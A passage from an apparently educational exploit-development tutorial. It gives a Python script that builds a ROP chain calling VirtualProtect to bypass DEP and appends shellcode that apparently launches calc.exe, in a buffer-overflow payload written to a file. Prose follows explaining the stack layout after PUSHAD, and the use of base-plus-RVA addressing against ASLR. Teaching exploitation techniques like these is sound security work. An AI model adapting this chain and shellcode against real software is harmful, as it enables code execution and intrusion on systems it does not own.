msvcr120 + 0x50464, # POP EAX # RETN [MSVCR120.dll]
msvcr120 + 0xe51a4, # address of ptr to &VirtualProtect() [IAT MSVCR120.dll]
msvcr120 + 0xbb7f9, # PUSHAD # RETN [MSVCR120.dll]
kernel32 + 0x37133, # ptr to 'call esp' [kernel32.dll]
]
return ''.join(struct.pack('<I', _) for _ in rop_gadgets)
def write_file(file_path):
with open(file_path, 'wb') as f:
ret_eip = kernel32 + 0xb7805 # RETN
shellcode = (
"\xe8\xff\xff\xff\xff\xc0\x5f\xb9\x11\x03\x02\x02\x81\xf1\x02\x02" +
"\x02\x02\x83\xc7\x1d\x33\xf6\xfc\x8a\x07\x3c\x02\x0f\x44\xc6\xaa" +
"\xe2\xf6\x55\x8b\xec\x83\xec\x0c\x56\x57\xb9\x7f\xc0\xb4\x7b\xe8" +
"\x55\x02\x02\x02\xb9\xe0\x53\x31\x4b\x8b\xf8\xe8\x49\x02\x02\x02" +
"\x8b\xf0\xc7\x45\xf4\x63\x61\x6c\x63\x6a\x05\x8d\x45\xf4\xc7\x45" +
"\xf8\x2e\x65\x78\x65\x50\xc6\x45\xfc\x02\xff\xd7\x6a\x02\xff\xd6" +
"\x5f\x33\xc0\x5e\x8b\xe5\x5d\xc3\x33\xd2\xeb\x10\xc1\xca\x0d\x3c" +
"\x61\x0f\xbe\xc0\x7c\x03\x83\xe8\x20\x03\xd0\x41\x8a\x01\x84\xc0" +
"\x75\xea\x8b\xc2\xc3\x8d\x41\xf8\xc3\x55\x8b\xec\x83\xec\x14\x53" +
"\x56\x57\x89\x4d\xf4\x64\xa1\x30\x02\x02\x02\x89\x45\xfc\x8b\x45" +
"\xfc\x8b\x40\x0c\x8b\x40\x14\x8b\xf8\x89\x45\xec\x8b\xcf\xe8\xd2" +
"\xff\xff\xff\x8b\x3f\x8b\x70\x18\x85\xf6\x74\x4f\x8b\x46\x3c\x8b" +
"\x5c\x30\x78\x85\xdb\x74\x44\x8b\x4c\x33\x0c\x03\xce\xe8\x96\xff" +
"\xff\xff\x8b\x4c\x33\x20\x89\x45\xf8\x03\xce\x33\xc0\x89\x4d\xf0" +
"\x89\x45\xfc\x39\x44\x33\x18\x76\x22\x8b\x0c\x81\x03\xce\xe8\x75" +
"\xff\xff\xff\x03\x45\xf8\x39\x45\xf4\x74\x1e\x8b\x45\xfc\x8b\x4d" +
"\xf0\x40\x89\x45\xfc\x3b\x44\x33\x18\x72\xde\x3b\x7d\xec\x75\x9c" +
"\x33\xc0\x5f\x5e\x5b\x8b\xe5\x5d\xc3\x8b\x4d\xfc\x8b\x44\x33\x24" +
"\x8d\x04\x48\x0f\xb7\x0c\x30\x8b\x44\x33\x1c\x8d\x04\x88\x8b\x04" +
"\x30\x03\xc6\xeb\xdd")
name = 'a'*36 + struct.pack('<I', ret_eip) + create_rop_chain() + shellcode
f.write(name)
write_file(r'c:\name.dat')
</code></pre>
<p>Here’s the main comment again:</p><pre class="ignore:true"># After PUSHAD is executed, the stack looks like this:
# .
# .
# .
# EDI (ptr to ROP NOP (RETN)) <---------------------------- current ESP
# ESI (ptr to JMP [EAX] (EAX = address of ptr to VirtualProtect))
# EBP (ptr to POP (skips EAX on the stack))
# ESP (lpAddress (automatic))
# EBX (dwSize)
# EDX (NewProtect (0x40 = PAGE_EXECUTE_READWRITE))
# ECX (lpOldProtect (ptr to writeable address))
# EAX (address of ptr to VirtualProtect)
# lpAddress:
# ptr to "call esp"
# <shellcode>
</pre><p><span style="color: #00ff00;">PUSHAD</span> pushes on the stack the registers <span style="color: #00ff00;">EAX</span>, <span style="color: #00ff00;">ECX</span>, <span style="color: #00ff00;">EDX</span>, <span style="color: #00ff00;">EBX</span>, original <span style="color: #00ff00;">ESP</span>, <span style="color: #00ff00;">EBP</span>, <span style="color: #00ff00;">ESI</span>, <span style="color: #00ff00;">EDI</span>. The registers are pushed one at a time so the resulting order on the stack is reversed, as you can see in the comment above.</p><p>Also note that right before <span style="color: #00ff00;">PUSHAD</span> is executed, <span style="color: #00ff00;">ESP</span> points to the last dword of the chain (<span class="crayon-c" style="color: #00ff00;">ptr to ‘call esp’ [kernel32.dll]</span>), and so <span style="color: #00ff00;">PUSHAD</span> pushes that value on the stack (<span style="color: #00ff00;">ESP (lpAddress (automatic))</span>). This value becomes <span style="color: #00ff00;">lpAddress</span> which is the starting address of the area of memory whose access protection attributes we want to change.</p><p>Afther <span style="color: #00ff00;">PUSHAD</span> is executed, <span style="color: #00ff00;">ESP</span> points to the DWORD where <span style="color: #00ff00;">EDI</span> was pushed (see <span style="color: #00ff00;">current ESP</span> above). In the <span style="color: #00ff00;">PUSHAD</span> gadget, <span style="color: #00ff00;">PUSHAD</span> is followed by <span style="color: #00ff00;">RET</span>:</p><pre class="ignore:true">msvcr120 + 0xbb7f9, # PUSHAD # RETN [MSVCR120.dll]</pre><p>This <span style="color: #00ff00;">RET</span> pops the DWORD where <span style="color: #00ff00;">EDI</span> was pushed and jumps to a <span style="color: #00ff00;">NOP </span>gadget (<span style="color: #00ff00;">NOP</span> means that it does nothing) which pops the DWORD where <span style="color: #00ff00;">ESI</span> was pushed and jumps to a <span style="color: #00ff00;">JMP [EAX]</span> gadget. Because <span style="color: #00ff00;">EAX</span> contains the address of a pointer to <span style="color: #00ff00;">VirtualProtect</span>, that gadget jumps to <span style="color: #00ff00;">VirtualProtect</span>. Note that the stack is set correctly for <span style="color: #00ff00;">VirtualProtect</span>:</p><pre class="ignore:true ">EBP (ptr to POP (skips EAX on the stack)) # RET EIP
ESP (lpAddress (automatic)) # argument 1
EBX (dwSize) # argument 2
EDX (NewProtect (0x40 = PAGE_EXECUTE_READWRITE)) # argument 3
ECX (lpOldProtect (ptr to writeable address)) # argument 4
</pre><p>When <span style="color: #00ff00;">VirtualProtect</span> ends, it jumps to the <span style="color: #00ff00;">POP # RET</span> gadget corresponding to <span style="color: #00ff00;">EBP</span> in the scheme above and remove all the arguments from the stack. Now <span style="color: #00ff00;">ESP</span> points to the DWORD on the stack corresponding to <span style="color: #00ff00;">EAX</span>. The gadget <span style="color: #00ff00;">POP # RET</span> is finally executed so the <span style="color: #00ff00;">POP</span> increments <span style="color: #00ff00;">ESP</span> and the <span style="color: #00ff00;">RET</span> jumps to the <span style="color: #00ff00;">call esp</span> gadget which calls the shellcode (which can now be executed).</p><p>By now, you’ll have noticed that I prefer expressing addresses as</p><pre class="ignore:true">baseAddress + RVA</pre><p>The reason is simple: because of <span style="color: #00ccff;">ASLR</span>, the addresses change but the <span style="color: #00ccff;">RVA</span>s remain constant.</p><p>To try the code on your PC, you’ll need to recompute all the offsets because each system is different. If you manage to make it all work, you’ll learn a lot. In a real exploit you should use modules which come with the application so that the exploit is more reliable.</p> </div></div>
</body>
</html>